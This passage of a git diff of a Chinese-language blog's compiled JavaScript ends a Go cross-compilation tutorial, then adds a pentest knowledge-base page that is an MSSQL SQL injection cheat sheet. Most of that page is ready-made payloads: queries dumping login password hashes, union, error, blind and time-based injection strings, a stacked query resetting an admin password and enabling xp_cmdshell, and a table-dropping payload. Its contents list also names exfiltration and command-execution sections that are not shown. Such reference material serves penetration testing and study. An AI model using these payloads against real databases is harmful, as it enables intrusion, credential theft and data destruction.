Code\u6b63\u4e0a\u65b9\u4f1a\u51fa\u73b0\u4e00\u4e2a\u6846\uff0c\u4f60\u6309\u7167\u4e0b\u56fe\u8f93\u5165",(0,l.jsx)(n.code,{children:"shell"}),"\uff0c\u7136\u540e\u70b9\u51fb\u6307\u5b9a\u9009\u9879\u5373\u53ef\u51fa\u73b0\u4e0a\u9762\u7684\u754c\u9762\u4e86\u3002",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e4",src:d(77018).A+"",width:"1310",height:"356"})]}),"\n",(0,l.jsx)(n.h3,{id:"go-run",children:"go run"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go run main.go"}),"\u4e5f\u53ef\u4ee5\u6267\u884c\u7a0b\u5e8f\uff0c\u8be5\u547d\u4ee4\u672c\u8d28\u4e0a\u662f\u5148\u5728\u4e34\u65f6\u76ee\u5f55\u7f16\u8bd1\u7a0b\u5e8f\u7136\u540e\u518d\u6267\u884c\u3002"]}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u4e0d\u6e05\u695a\u4e0a\u65b9\u5173\u4e8e",(0,l.jsx)(n.code,{children:"go run"}),"\u6267\u884c\u673a\u5236\u7684\u63cf\u8ff0\uff0c\u90a3\u4e48\u4f60\u6700\u597d\u4eca\u540e\u90fd\u4f7f\u7528",(0,l.jsx)(n.code,{children:"go build"}),"\u7f16\u8bd1\u518d\u6267\u884c\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"go-install",children:"go install"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go install"}),"\u8868\u793a\u5b89\u88c5\u7684\u610f\u601d\uff0c\u5b83\u5148\u7f16\u8bd1\u6e90\u4ee3\u7801\u5f97\u5230\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u5c06\u53ef\u6267\u884c\u6587\u4ef6\u79fb\u52a8\u5230",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u7684bin\u76ee\u5f55\u4e0b\u3002\u56e0\u4e3a\u6211\u4eec",(0,l.jsxs)(n.strong,{children:["\u628a",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u4e0b\u7684",(0,l.jsx)(n.code,{children:"bin"}),"\u76ee\u5f55\u6dfb\u52a0\u5230\u4e86\u73af\u5883\u53d8\u91cf\u4e2d"]}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u4efb\u610f\u5730\u65b9\u76f4\u63a5\u6267\u884c\u53ef\u6267\u884c\u6587\u4ef6\u4e86\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u8de8\u5e73\u53f0\u7f16\u8bd1",children:"\u8de8\u5e73\u53f0\u7f16\u8bd1"}),"\n",(0,l.jsxs)(n.p,{children:["\u9ed8\u8ba4\u6211\u4eec",(0,l.jsx)(n.code,{children:"go build"}),"\u7684\u53ef\u6267\u884c\u6587\u4ef6\u90fd\u662f\u5f53\u524d\u64cd\u4f5c\u7cfb\u7edf\u53ef\u6267\u884c\u7684\u6587\u4ef6\uff0cGo\u8bed\u8a00\u652f\u6301\u8de8\u5e73\u53f0\u7f16\u8bd1\u2014\u2014\u5728\u5f53\u524d\u5e73\u53f0\uff08\u4f8b\u5982Windows\uff09\u4e0b\u7f16\u8bd1\u5176\u4ed6\u5e73\u53f0\uff08\u4f8b\u5982Linux\uff09\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"windows\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",children:"Windows\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u6211\u60f3\u5728Windows\u4e0b\u7f16\u8bd1\u4e00\u4e2aLinux\u4e0b\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u90a3\u9700\u8981\u600e\u4e48\u505a\u5462\uff1f\u53ea\u9700\u8981\u5728\u7f16\u8bd1\u65f6\u6307\u5b9a\u76ee\u6807\u64cd\u4f5c\u7cfb\u7edf\u7684\u5e73\u53f0\u548c\u5904\u7406\u5668\u67b6\u6784\u5373\u53ef\u3002"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u6ce8\u610f\uff1a\u65e0\u8bba\u4f60\u5728Windows\u7535\u8111\u4e0a\u4f7f\u7528VsCode\u7f16\u8f91\u5668\u8fd8\u662fGoland\u7f16\u8f91\u5668\uff0c\u90fd\u8981\u6ce8\u610f\u4f60\u4f7f\u7528\u7684\u7ec8\u7aef\u7c7b\u578b\uff0c\u56e0\u4e3a\u4e0d\u540c\u7684\u7ec8\u7aef\u4e0b\u547d\u4ee4\u4e0d\u4e00\u6837\uff01\uff01\uff01\u76ee\u524d\u7684Windows\u901a\u5e38\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"PowerShell"}),"\u7ec8\u7aef\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"cmd"}),"\uff0c\u90a3\u4e48\u6309\u5982\u4e0b\u65b9\u5f0f\u6307\u5b9a\u73af\u5883\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"SET CGO_ENABLED=0 // \u7981\u7528CGO\nSET GOOS=linux // \u76ee\u6807\u5e73\u53f0\u662flinux\nSET GOARCH=amd64 // \u76ee\u6807\u5904\u7406\u5668\u67b6\u6784\u662famd64\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"PowerShell"}),"\u7ec8\u7aef\uff0c\u90a3\u4e48\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\u7684\u8bed\u6cd5\u4e3a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:'$ENV:CGO_ENABLED=0\n$ENV:GOOS="linux"\n$ENV:GOARCH="amd64"\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u7ec8\u7aef\u4e0b\u6267\u884c\u5b8c\u4e0a\u8ff0\u547d\u4ee4\u540e\uff0c\u518d\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\uff0c\u5f97\u5230\u7684\u5c31\u662f\u80fd\u591f\u5728Linux\u5e73\u53f0\u8fd0\u884c\u7684\u53ef\u6267\u884c\u6587\u4ef6\u4e86\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"windows\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",children:"Windows\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Windows\u4e0b\u7f16\u8bd1Mac\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.p,{children:"cmd\u7ec8\u7aef\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"SET CGO_ENABLED=0\nSET GOOS=darwin\nSET GOARCH=amd64\ngo build\n"})}),"\n",(0,l.jsx)(n.p,{children:"PowerShell\u7ec8\u7aef\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:'$ENV:CGO_ENABLED=0\n$ENV:GOOS="darwin"\n$ENV:GOARCH="amd64"\ngo build\n'})}),"\n",(0,l.jsx)(n.h4,{id:"mac\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",children:"Mac\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Mac\u7535\u8111\u7f16\u8bd1\u5f97\u5230Linux\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"mac\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",children:"Mac\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Mac\u7535\u8111\u7f16\u8bd1\u5f97\u5230Windows\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"linux\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",children:"Linux\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Linux\u5e73\u53f0\u4e0b\u7f16\u8bd1Mac\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"linux\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",children:"Linux\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Linux\u5e73\u53f0\u4e0b\u7f16\u8bd1Windows\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5f00\u542f\u4f60\u7684Go\u8bed\u8a00\u5b66\u4e60\u4e4b\u65c5\u5427\u3002\u4eba\u751f\u82e6\u77ed\uff0clet\u2019s Go."})]})}function x(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},93069:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install05-3422b8319492e3836251bcb93731ab7e.png"}}]); \ No newline at end of file diff --git a/en/assets/js/6e3e4fba.6b816406.js b/en/assets/js/6e3e4fba.6b816406.js new file mode 100644 index 0000000..184b71f --- /dev/null +++ b/en/assets/js/6e3e4fba.6b816406.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4877],{28453:(e,s,n)=>{n.d(s,{R:()=>t,x:()=>a});var l=n(96540);const r={},i=l.createContext(r);function t(e){const s=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function a(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:t(e.components),l.createElement(i.Provider,{value:s},e.children)}},67441:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>t,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","title":"MSSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/07.MSSQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/07.MSSQL.md","tags":[],"version":"current","sidebarPosition":7,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SQLite","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite"},"next":{"title":"HQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL"}}');var r=n(74848),i=n(28453);const t={},a=void 0,c={},d=[{value:"MSSQL \u9ed8\u8ba4\u6570\u636e\u5e93",id:"mssql-\u9ed8\u8ba4\u6570\u636e\u5e93",level:2},{value:"MSSQL \u6ce8\u91ca",id:"mssql-\u6ce8\u91ca",level:2},{value:"MSSQL \u7528\u6237",id:"mssql-\u7528\u6237",level:2},{value:"MSSQL Version",id:"mssql-version",level:2},{value:"MSSQL \u4e3b\u673a\u540d",id:"mssql-\u4e3b\u673a\u540d",level:2},{value:"MSSQL \u6570\u636e\u5e93\u540d\u79f0",id:"mssql-\u6570\u636e\u5e93\u540d\u79f0",level:2},{value:"MSSQL \u6570\u636e\u5e93\u51ed\u636e",id:"mssql-\u6570\u636e\u5e93\u51ed\u636e",level:2},{value:"MSSQL \u5217\u8868\u6570\u636e\u5e93",id:"mssql-\u5217\u8868\u6570\u636e\u5e93",level:2},{value:"MSSQL \u5217\u8868\u5217",id:"mssql-\u5217\u8868\u5217",level:2},{value:"MSSQL \u5217\u8868\u8868",id:"mssql-\u5217\u8868\u8868",level:2},{value:"\u57fa\u4e8e MSSQL \u8054\u5408",id:"\u57fa\u4e8e-mssql-\u8054\u5408",level:2},{value:"MSSQL \u57fa\u4e8e\u9519\u8bef",id:"mssql-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"MSSQL \u57fa\u4e8e\u76f2\u7684",id:"mssql-\u57fa\u4e8e\u76f2\u7684",level:2},{value:"MSSQL \u57fa\u4e8e\u65f6\u95f4",id:"mssql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"MSSQL \u5806\u53e0\u67e5\u8be2",id:"mssql-\u5806\u53e0\u67e5\u8be2",level:2},{value:"MSSQL \u8bfb\u53d6\u6587\u4ef6",id:"mssql-\u8bfb\u53d6\u6587\u4ef6",level:2},{value:"MSSQL \u547d\u4ee4\u6267\u884c",id:"mssql-\u547d\u4ee4\u6267\u884c",level:2},{value:"MSSQL \u5e26\u5916",id:"mssql-\u5e26\u5916",level:2},{value:"MSSQL DNS \u5916\u8fc7\u6ee4",id:"mssql-dns-\u5916\u8fc7\u6ee4",level:3},{value:"MSSQL UNC \u8def\u5f84",id:"mssql-unc-\u8def\u5f84",level:3},{value:"MSSQL \u4f7f\u7528\u6237\u6210\u4e3a DBA\uff08\u6570\u636e\u5e93\u7ba1\u7406\u5458\uff09",id:"mssql-\u4f7f\u7528\u6237\u6210\u4e3a-dba\u6570\u636e\u5e93\u7ba1\u7406\u5458",level:2},{value:"MSSQL \u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",id:"mssql-\u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",level:2},{value:"\u5217\u51fa\u6743\u9650",id:"\u5217\u51fa\u6743\u9650",level:2},{value:"MSSQL \u64cd\u4f5c\u7cfb\u7edf",id:"mssql-\u64cd\u4f5c\u7cfb\u7edf",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(s.tbody,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{style:{textAlign:"left"},children:(0,r.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,r.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u9ed8\u8ba4\u6570\u636e\u5e93",children:"MSSQL \u9ed8\u8ba4\u6570\u636e\u5e93"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{children:"Name"}),(0,r.jsx)(s.th,{children:"\u63cf\u8ff0"})]})}),(0,r.jsxs)(s.tbody,{children:[(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"pubs"}),(0,r.jsx)(s.td,{children:"MSSQL 2005 \u4e0a\u4e0d\u53ef\u7528"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"model"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"msdb"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"tempdb"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"northwind"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"information_schema"}),(0,r.jsx)(s.td,{children:"MSSQL 2000 \u53ca\u66f4\u9ad8\u7248\u672c\u4e2d\u7684 Availalble"})]})]})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6ce8\u91ca",children:"MSSQL \u6ce8\u91ca"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{children:"Type"}),(0,r.jsx)(s.th,{children:"\u63cf\u8ff0"})]})}),(0,r.jsxs)(s.tbody,{children:[(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:"/* MSSQL Comment */"})}),(0,r.jsx)(s.td,{children:"C \u6837\u5f0f\u6ce8\u91ca"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:"-- -"})}),(0,r.jsx)(s.td,{children:"SQL \u6ce8\u91ca"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:";%00"})}),(0,r.jsx)(s.td,{children:"\u7a7a\u5b57\u8282"})]})]})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u7528\u6237",children:"MSSQL \u7528\u6237"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT CURRENT_USER\nSELECT user_name();\nSELECT system_user;\nSELECT user;\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-version",children:"MSSQL Version"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT @@version\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u4e3b\u673a\u540d",children:"MSSQL \u4e3b\u673a\u540d"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT HOST_NAME()\nSELECT @@hostname\nSELECT @@SERVERNAME\nSELECT SERVERPROPERTY('productversion')\nSELECT SERVERPROPERTY('productlevel')\nSELECT SERVERPROPERTY('edition');\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6570\u636e\u5e93\u540d\u79f0",children:"MSSQL \u6570\u636e\u5e93\u540d\u79f0"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT DB_NAME()\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6570\u636e\u5e93\u51ed\u636e",children:"MSSQL \u6570\u636e\u5e93\u51ed\u636e"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsxs)(s.li,{children:["\uff1a\u54c8\u5e0c\u732b\u6a21\u5f0f 131\uff1a ",(0,r.jsx)(s.code,{children:"0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name, password FROM master..sysxlogins\nSELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins \n-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer\n"})}),"\n"]}),"\n",(0,r.jsxs)(s.li,{children:["\uff1a\u54c8\u5e0c\u732b\u6a21\u5f0f 132\uff1a ",(0,r.jsx)(s.code,{children:"0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name, password_hash FROM master.sys.sql_logins\nSELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins\n"})}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u6570\u636e\u5e93",children:"MSSQL \u5217\u8868\u6570\u636e\u5e93"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM master..sysdatabases;\nSELECT DB_NAME(N); \u2014 for N = 0, 1, 2, \u2026\nSELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u5217",children:"MSSQL \u5217\u8868\u5217"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = \u2018mytable\u2019); \u2014 for the current DB only\nSELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=\u2019sometable\u2019; \u2014 list colum names and types for master..sometable\n\nSELECT table_catalog, column_name FROM information_schema.columns\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u8868",children:"MSSQL \u5217\u8868\u8868"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM master..sysobjects WHERE xtype = \u2018U\u2019; \u2014 use xtype = \u2018V\u2019 for views\nSELECT name FROM someotherdb..sysobjects WHERE xtype = \u2018U\u2019;\nSELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=\u2019sometable\u2019; \u2014 list colum names and types for master..sometable\n\nSELECT table_catalog, table_name FROM information_schema.columns\nSELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u57fa\u4e8e-mssql-\u8054\u5408",children:"\u57fa\u4e8e MSSQL \u8054\u5408"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- extract databases names\n$ SELECT name FROM master..sysdatabases\n[*] Injection\n[*] msdb\n[*] tempdb\n\n-- extract tables from Injection database\n$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'\n[*] Profiles\n[*] Roles\n[*] Users\n\n-- extract columns for the table Users\n$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')\n[*] UserId\n[*] UserName\n\n-- Finally extract the data\n$ SELECT UserId, UserName from Users\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u9519\u8bef",children:"MSSQL \u57fa\u4e8e\u9519\u8bef"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"For integer inputs : convert(int,@@version)\nFor integer inputs : cast((SELECT @@version) as int)\n\nFor string inputs : ' + convert(int,@@version) + '\nFor string inputs : ' + cast((SELECT @@version) as int) + '\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u76f2\u7684",children:"MSSQL \u57fa\u4e8e\u76f2\u7684"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -\n\nAND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97\nAND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- \nAND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'\n\nAND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90\n\nSELECT @@version WHERE @@version LIKE '%12.0.2000.8%'\n\nWITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)\nSELECT message FROM data WHERE row = 1 and message like 't%'\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u57fa\u4e8e\u65f6\u95f4",children:"MSSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"ProductID=1;waitfor delay '0:0:10'--\nProductID=1);waitfor delay '0:0:10'--\nProductID=1';waitfor delay '0:0:10'--\nProductID=1');waitfor delay '0:0:10'--\nProductID=1));waitfor delay '0:0:10'--\n\nIF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'\nIF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5806\u53e0\u67e5\u8be2",children:"MSSQL \u5806\u53e0\u67e5\u8be2"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsxs)(s.li,{children:["\n",(0,r.jsx)(s.p,{children:"\u6ca1\u6709\u4efb\u4f55\u8bed\u53e5\u7ec8\u6b62\u7b26"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- multiple SELECT statements\nSELECT 'A'SELECT 'B'SELECT 'C'\n\n-- updating password with a stacked query\nSELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--\n\n-- using the stacked query to enable xp_cmdshell\n-- you won't have the output of the query, redirect it to a file \nSELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--\n"})}),"\n"]}),"\n",(0,r.jsxs)(s.li,{children:["\n",(0,r.jsx)(s.p,{children:"\u4f7f\u7528\u5206\u53f7\u201c\uff1b\u201d\u6dfb\u52a0\u53e6\u4e00\u4e2a\u67e5\u8be2"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"ProductID=1; DROP members--\n"})}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u8bfb\u53d6\u6587\u4ef6",children:"MSSQL \u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,r.jsxs)(s.p,{children:[(0,r.jsx)(s.strong,{children:"\u6743\u9650"}),"\uff1a\u9009\u9879\u9700\u8981\u6216 ",(0,r.jsx)(s.code,{children:"ADMINISTER DATABASE BULK OPERATIONS"})," 